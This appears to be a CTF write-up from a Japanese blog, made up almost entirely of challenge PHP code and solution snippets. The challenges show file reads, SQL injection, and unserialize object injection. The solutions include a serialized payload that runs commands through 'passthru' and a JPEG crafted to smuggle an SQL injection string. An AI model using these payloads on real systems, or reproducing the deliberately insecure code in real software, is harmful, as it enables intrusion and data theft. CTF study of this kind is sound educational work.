st98 の日記帳

<?php

// This function evaluates a source code which is similar to brainf*ck.
// However, looking into the details, there are some differences. Be careful!
function bf($code) {
    $ARRSIZE = 10000;
    $STEPSIZE = 100000;
    $p = 0;
    $jp = 0;
    $jbuf = [];
    $mp = 0;
    $mem = array_fill(0, $ARRSIZE, 0);
    $obuf = "";
    
    for ($s = 0; $s < $STEPSIZE && $p < strlen($code); $s++) {
        $c = $code[$p];
        if ($c === '>') {
            $mp = ($mp + 1 + $ARRSIZE) % $ARRSIZE;
        } else if ($c === '<') {
            $mp = ($mp - 1 + $ARRSIZE) % $ARRSIZE;
        } else if ($c === '+') {
            $mem[$mp] = $mem[$mp] + 1;
        } else if ($c === '-') {
            $mem[$mp] = $mem[$mp] - 1;
        } else if ($c === '[') {
            $jbuf[$jp] = $p;
            $jp++;
        } else if ($c === ']') {
            if ($mem[$mp] == 0) {
                $jp--;
            } else {
                $p = $jbuf[$jp-1];
            }
        } else if ($c === '.') {
            $obuf .= chr($mem[$mp]);
        }
        $p++;
    }

    return $obuf;
}

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die;
}

$prefix = __DIR__. DIRECTORY_SEPARATOR . 'codes';
if (!is_dir($prefix)) {
    mkdir($prefix);
}

$errs = [];
$msgs = [];
$r = "";
do {
    if (isset($_POST['save'])) {
        if (!isset($_POST['name']) || empty($_POST['name'])) {
            $errs []= 'filename required';
            break;
        }
        if (!preg_match('@^[A-Za-z0-9_]+$@', $_POST['name'])) {
            $errs []= 'invalid filename';
            break;
        }

        if (!isset($_POST['code']) || empty($_POST['code'])) {
            $errs []= 'code required';
            break;
        }

        $fp  = fopen($prefix.DIRECTORY_SEPARATOR.$_POST['name'], 'w');
        if ($fp === FALSE || fwrite($fp, $_POST['code'], 100) === FALSE) {
            $errs []= 'Unexpected error. Please contact the admin.';
            break;
        }
        fclose($fp);

        $msgs []= 'SAVED';
    }
    else if (isset($_GET['execute'])) {
        $code = file_get_contents($_GET['file']);
        if ($code === FALSE) {
            $errs []= 'Could not open the source file.';
            break;
        }
        $r = bf($code);
        if ($r === "Give Me a Chocolate!!") {
            $msgs []= include(dirname(__DIR__).DIRECTORY_SEPARATOR.'flag.php');
        }
    }
} while(false);


$files = glob($prefix.DIRECTORY_SEPARATOR.'*');
usort($files, function($a, $b){
  return filemtime($a) < filemtime($b);
});
$files = array_slice($files, 0, 10);

?>

(略)

<?php
...
    else if (isset($_GET['execute'])) {
        $code = file_get_contents($_GET['file']);
        if ($code === FALSE) {
            $errs []= 'Could not open the source file.';
            break;
        }
        $r = bf($code);
        if ($r === "Give Me a Chocolate!!") {
            $msgs []= include(dirname(__DIR__).DIRECTORY_SEPARATOR.'flag.php');
        }
    }
...

<?php
/**
 * A Sample Script For Secure Session Manager
 */
require_once(__DIR__ . '/modules/crypto.php');
require_once(__DIR__ . '/modules/session.php');
ini_set('display_errors', 1);
ini_set('session.use_strict_mode', 1);
ini_set('session.name', "KOSESSID");

/* Initialize */
if (isset($_POST['save'])) {
    // You can skip the bothering setup
    // by loading the saved handler.
    $handler = unserialize(base64_decode($_POST['save']));
} else {
    // Or, you can also setup the handler manually.
    $SECRET_KEY = 'sample-password'; // Keep it secret!
    $crypto = new SecureCrypto();
    $handler = new SecureSession($SECRET_KEY);
    $handler->set_crypto('encrypt', array($crypto, 'encrypt'));
    $handler->set_crypto('decrypt', array($crypto, 'decrypt'));
}
session_set_save_handler($handler, true);

/* Now you can start the secure session */
session_start();

/* Use the session as usual */
if (isset($_SESSION['count'])) {
    $_SESSION['count'] += 1;
} else {
    $_SESSION['count'] = 1;
}
?>
(略)

<?php
/**
 * Secure Cryptosystem
 */
class SecureCrypto
{
    /**
       Initialize this instance
     */
    public function __construct()
    {
    }

    /**
     * Encrypt with AES 256 CBC
     */
    public function encrypt($password, $data)
    {
        /*
	$iv_size = openssl_cipher_iv_length('AES-256-CBC');

	$key = hash('sha256', $password, TRUE);
	$iv  = openssl_random_pseudo_bytes($iv_size);
	
	$cipher = openssl_encrypt($data, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
    return base64_encode($iv . $cipher);
    */
    return $data;
    }

    /**
     * Decrypt with AES 256 CBC
     */
    public function decrypt($password, $data)
    {
        /*
	$iv_size = openssl_cipher_iv_length('AES-256-CBC');

	$encrypted = base64_decode($data);
	$iv = substr($encrypted, 0, $iv_size);
	$cipher = substr($encrypted, $iv_size);
	
	$key = hash('sha256', $password, TRUE);
    return openssl_decrypt($cipher, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
    */
    return $data;
    }
}

<?php
/**
 * Secure Session Manager
 */
class SecureSession extends SessionHandler
{
    private $crypto;
    private $key;
    
    /**
     * Initialize this instance
     */
    public function __construct($key)
    {
	// Set variables
	$this->key = $key;
	$this->crypto = array();
    }

    /**
     * Set a cryptosystem
     */
    public function set_crypto($crypto, $function)
    {
	$this->crypto[$crypto] = $function;
    }

    /**
     * Read and decrypt session data
     */
    public function read($id)
    {
	$data = parent::read($id);

	if (!$data) {
	    return "";
	} else {
	    return $this->crypto['decrypt']($this->key, $data);
	}
    }

    /**
     * Encrypt and write session data
     */
    public function write($id, $data)
    {
	$data = $this->crypto['encrypt']($this->key, $data);
	
	return parent::write($id, $data);
    }

    /**
     * Read the raw (encrypted) session data
     */
    public function read_raw($id)
    {
	parent::open(session_save_path(), $id);
	$data = parent::read($id);
	return $data;
    }
}
?>

<?php
if (isset($_POST['save'])) {
    // You can skip the bothering setup
    // by loading the saved handler.
    $handler = unserialize(base64_decode($_POST['save']));
}

<?php
    /**
     * Read and decrypt session data
     */
    public function read($id)
    {
      $data = parent::read($id);

      if (!$data) {
        return "";
      } else {
        return $this->crypto['decrypt']($this->key, $data);
      }
    }

    /**
     * Encrypt and write session data
     */
    public function write($id, $data)
    {
      $data = $this->crypto['encrypt']($this->key, $data);

      return parent::write($id, $data);
    }

<?php
class SecureSession extends SessionHandler {
    private $crypto;
    private $key;
    
    public function __construct($key) {
        $this->key = $key;
        $this->crypto = array();
    }

    public function set_crypto($crypto, $function) {
        $this->crypto[$crypto] = $function;
    }
}

$handler = new SecureSession('ls');
$handler->set_crypto('encrypt', 'passthru');
$handler->set_crypto('decrypt', 'passthru');

echo base64_encode(serialize($handler));

<?php

$pdo = new PDO('sqlite:database.db');

$pdo->exec('create table users(username text unique not null, password text not null);');
$stmt = $pdo->prepare('insert into users(username, password) values(?, ?)');

$stmt->execute(['admin', bin2hex(random_bytes(2019))]);

<?php

if (! isset($_SESSION['login'])) {
        die('<a href="index.php">PLEASE LOGIN PLEASE</a>');
}

if ($_SESSION['login'] === 'admin') {
       echo "<h3>HELLO ADMIN!</h3>"; 
       echo "<h3>".include('flag.php')."</h3>"; 
} else {
       echo "<h4>HELLO " . htmlspecialchars($_SESSION['login']) ."</h4>"; 
       echo "<p>Nice login, but you are not an admin!</p>";
       echo "<p><a href='logout.php'>Logout</a></p>";
}

<?php

session_start();

$template = '';

if (isset($_SESSION['login'])) {
        $template = '../user.php';
} else {
        $template = '../index.html';
}

?>
(略)

<?php

session_start();

if (isset($_POST['name']) && isset($_POST['password'])) {
        $username = $_POST['name'];
        $password = $_POST['password'];

        $pdo = new PDO("sqlite:../database.db");
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

        // dont' think to try time based sql injection!! 
        usleep(random_int(0, 5000000));
        try {
                $rows = $pdo->query("select username, password from users where username='$username' and password='$password'", PDO::FETCH_ASSOC)->fetchAll();
                if (count($rows) == 1 && md5($rows[0]['password']) === md5($password)) {
                        $_SESSION['login'] = $username;
                }
        } catch (Exception $e) {
                //
        }
}
header("Location: index.php");

<?php

if (isset($_POST['name']) && isset($_POST['password'])) {
        $username = $_POST['name'];
        $password = $_POST['password'];

        $pdo = new PDO("sqlite:../database.db");
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

        try {
                $stmt = $pdo->prepare('insert into users(username, password) values (?, ?)');
                $stmt->execute([$username, $password]);
        } catch (Exception $e) {
                //
        }
}

header("Location: index.php");

<?php

session_start();

if (isset($_POST['name']) && isset($_POST['password']) && strlen($_POST['name']) < 128 && strlen($_POST['password']) < 128) {
        $username = $_POST['name'];
        $password = $_POST['password'];

        $pdo = new PDO("sqlite:../database.db");
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

        // Never try Time-Based Blind SQL Injection!!
        usleep(random_int(0, 5000000));
        try {
                $rows = $pdo->query("select username, password from users where username='$username' and password='$password'", PDO::FETCH_ASSOC)->fetchAll();
                if (count($rows) == 1 && md5($rows[0]['password']) === md5($password)) {
                        $_SESSION['login'] = $username;
                }
        } catch (Exception $e) {
                //
        }
}
header("Location: index.php");

<?php
require("base85.class.php");

if (isset($_GET['tag'])) {
    $search = true;
    $pdo = new PDO('mysql:host=localhost;dbname=uploader;charset=utf8', 'uploader', 'password',
		   array(PDO::ATTR_EMULATE_PREPARES => false));
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    
    try {
	// Get the image
	$stmt = $pdo->prepare('SELECT * FROM images WHERE tag=?');
	$stmt->execute([$_GET['tag']]);
	$result = $stmt->fetch(PDO::FETCH_ASSOC);
        if ($result) {
	    $name = $result['username'];
	    $desc = $result['description'];
	    $image = base64_encode(base85::decode($result['image']));
        } else {
	    $image = NULL;
	}
    } catch (Exception $e) {
        //
	$image = NULL;
    }
}

if (isset($_POST['search'])) {
    if (is_uploaded_file($_FILES['image']['tmp_name'])) {
	// Check errors
	if ($_FILES['image']['error'] > 0) {
	    header("Location: /");
	    exit();
	}
	// Check the file type
	$tmp_name = $_FILES['image']['tmp_name'];
	$finfo = finfo_open(FILEINFO_MIME_TYPE);
	$mimetype = finfo_file($finfo, $tmp_name);
	if ($mimetype != "image/jpeg") {
	    header("Location: /");
	    exit();
	}
	// Search
	$search = true;
	$pdo = new PDO('mysql:host=localhost;dbname=uploader;charset=utf8', 'uploader', 'password',
		       array(PDO::ATTR_EMULATE_PREPARES => false));
	$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
	try {
	    $binary = file_get_contents($_FILES['image']['tmp_name']);
	    $s_image = base85::encode($binary);
	    // Get the image
	    $row = $pdo->query("SELECT * FROM images WHERE image='{$s_image}'")->fetch(PDO::FETCH_ASSOC);
	    if ($row) {
		$name = $row['username'];
		$desc = $row['description'];
		$image = base64_encode(base85::decode($row['image']));
	    } else {
		$image = NULL;
	    }
	} catch (Exception $e) {
	    //
	    $image = NULL;
	}
    }
}
?>
(略)

<?php
require("base85.class.php");

if (isset($_POST['name']) && isset($_POST['desc'])) {
    if (is_uploaded_file($_FILES['image']['tmp_name'])) {
	// Check errors
	if ($_FILES['image']['error'] > 0) {
	    header("Location: /post.php");
	    exit();
	}
	// Check the file type
	$tmp_name = $_FILES['image']['tmp_name'];
	$finfo = finfo_open(FILEINFO_MIME_TYPE);
	$mimetype = finfo_file($finfo, $tmp_name);
	if ($mimetype != "image/jpeg") {
	    header("Location: /post.php");
	    exit();
	}
	// Save
	$binary = file_get_contents($_FILES['image']['tmp_name']);
	$image = base85::encode($binary);
	$tag = hash("sha256", $image);
	$pdo = new PDO('mysql:host=localhost;dbname=uploader;charset=utf8', 'uploader', 'password',
		       array(PDO::ATTR_EMULATE_PREPARES => false));
	$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
	try {
	    // Create a new record
	    $stmt = $pdo->prepare('INSERT INTO images(tag, username, description, image) VALUES(?, ?, ?, ?);');
	    $stmt->execute([$tag, $_POST['name'], $_POST['desc'], $image]);
	} catch(Exception $e) {
	    //
	}
    } else {
	header("Location: /post.php");
	exit();
    }
} 
?>
(略)

<?php
	    $binary = file_get_contents($_FILES['image']['tmp_name']);
	    $s_image = base85::encode($binary);
	    // Get the image
	    $row = $pdo->query("SELECT * FROM images WHERE image='{$s_image}'")->fetch(PDO::FETCH_ASSOC);

<?php
require("base85.class.php");
$payload = "\xff\xd8BB" . base85::decode("a'or(1);#");
var_dump(base85::encode($payload)); // check
file_put_contents('payload.jpg', $payload);